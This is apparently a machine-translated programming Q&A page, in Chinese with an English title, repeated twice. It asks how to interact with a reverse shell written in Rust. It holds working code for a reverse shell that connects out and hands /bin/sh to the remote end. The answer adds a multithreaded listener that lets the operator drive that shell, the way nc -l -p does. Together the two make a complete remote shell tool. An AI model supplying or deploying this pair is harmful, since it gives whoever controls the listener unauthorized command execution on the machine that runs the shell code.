如何与 Rust 中的反向 shell 交互?
How to interact with a reverse shell in Rust?
OpenBSD 的 Netcat implementation 使用 unix_bind()
侦听端口...与 Rust 的 TcpListener::bind()
行为基本相同。我在编写 listen
函数(模拟 nc -l -p <port>
)时迷失的地方是如何与反向 shell 交互。
虽然听起来似乎微不足道,但我希望 listen
像 nc -l -p <port>
一样给我 sh-3.2$
提示。我在网上找到的所有 Netcat-Rust 实现都不允许我像那样与反向 shells 交互。
反向shell代码(机器1):(改编自我几年前问过)
fn reverse_shell(ip: &str, port: &str) {
let s = TcpStream::connect((ip, port)).unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn().unwrap().wait().unwrap();
}
监听代码(机器2):
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
// How do I interact with the shell now??
}
Rust 代码有一定的简单和优雅,可以帮助我简洁地理解正在发生的事情,这就是为什么我不想只从 Netcat 复制 C 代码。
基本上,我们想要两个双向重定向 - 一个从 stdin
到 stream
,另一个从 stream
到 stdout
。
我们可以使用下面的通用 pipe_thread
函数来完成此操作,该函数为此创建一个专用的 OS 线程(可以更有效地完成,但我们希望简单)。在 listen
中,我们像这样生成两个线程,并等待它们终止。
fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where R: std::io::Read + Send + 'static,
W: std::io::Write + Send + 'static
{
std::thread::spawn(move || {
let mut buffer = [0; 1024];
loop {
let len = r.read(&mut buffer).unwrap();
if len == 0 {
break;
}
w.write(&buffer[..len]).unwrap();
w.flush().unwrap();
}
})
}
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
let t2 = pipe_thread(stream, std::io::stdout());
t1.join();
t2.join();
}
OpenBSD 的 Netcat implementation 使用 unix_bind()
侦听端口...与 Rust 的 TcpListener::bind()
行为基本相同。我在编写 listen
函数(模拟 nc -l -p <port>
)时迷失的地方是如何与反向 shell 交互。
虽然听起来似乎微不足道,但我希望 listen
像 nc -l -p <port>
一样给我 sh-3.2$
提示。我在网上找到的所有 Netcat-Rust 实现都不允许我像那样与反向 shells 交互。
反向shell代码(机器1):(改编自
fn reverse_shell(ip: &str, port: &str) {
let s = TcpStream::connect((ip, port)).unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn().unwrap().wait().unwrap();
}
监听代码(机器2):
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
// How do I interact with the shell now??
}
Rust 代码有一定的简单和优雅,可以帮助我简洁地理解正在发生的事情,这就是为什么我不想只从 Netcat 复制 C 代码。
基本上,我们想要两个双向重定向 - 一个从 stdin
到 stream
,另一个从 stream
到 stdout
。
我们可以使用下面的通用 pipe_thread
函数来完成此操作,该函数为此创建一个专用的 OS 线程(可以更有效地完成,但我们希望简单)。在 listen
中,我们像这样生成两个线程,并等待它们终止。
fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where R: std::io::Read + Send + 'static,
W: std::io::Write + Send + 'static
{
std::thread::spawn(move || {
let mut buffer = [0; 1024];
loop {
let len = r.read(&mut buffer).unwrap();
if len == 0 {
break;
}
w.write(&buffer[..len]).unwrap();
w.flush().unwrap();
}
})
}
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
let t2 = pipe_thread(stream, std::io::stdout());
t1.join();
t2.join();
}